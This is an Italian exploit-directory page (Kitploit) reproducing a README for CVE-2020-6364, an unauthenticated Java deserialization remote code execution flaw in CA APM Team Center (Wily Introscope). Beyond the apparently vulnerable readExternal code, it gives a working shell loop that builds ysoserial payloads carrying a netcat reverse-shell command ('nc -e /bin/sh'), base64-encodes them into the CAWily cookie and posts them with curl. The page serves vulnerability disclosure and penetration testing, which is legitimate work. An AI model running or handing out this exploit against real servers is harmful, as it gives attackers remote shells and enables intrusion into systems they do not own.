Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-6364 — Esecuzione di codice in remoto in CA APM Team Center (Wily Introscope) | Kitploit
Strumenti/GitHubGitHub/gquere/cve-2020-6364
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubgquere/cve-2020-6364

CVE-2020-6364

Esecuzione di codice in remoto in CA APM Team Center (Wily Introscope)

Vedi Repository
224 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-6364

Esecuzione remota di codice in CA APM Team Center (Wily Introscope).

Avviso originale

Una vulnerabilità di deserializzazione in CA APM Team Center porta all'esecuzione remota di codice non autenticata sul server.

Quando ci si autentica al server, viene restituito un cookie che inizia con la famigerata stringa rO0, indicante un oggetto serializzato codificato in base64:

Sebbene non abbia tracciato completamente il problema staticamente, questo è probabilmente il codice vulnerabile:

root@kitploit:~
public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

Nota che la mappa dei parametri e il cookie vengono deserializzati usando readObject() dall'input utente.

Ciò viene sfruttato banalmente identificando un gadget adatto in un ciclo for:

root@kitploit:~
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done

L'unico payload che ha prodotto esecuzione remota di codice per me è stato CommonsBeanutils. Il JAR incorporato è org.apache.commons_beanutils_1.9.2.1.jar e include effettivamente un gadget vulnerabile secondo il repository maven.

Ringraziamenti

Ringraziamento obbligatorio a una persona speciale che mi ha fatto ricontrollare l'header.

Scarica lo strumento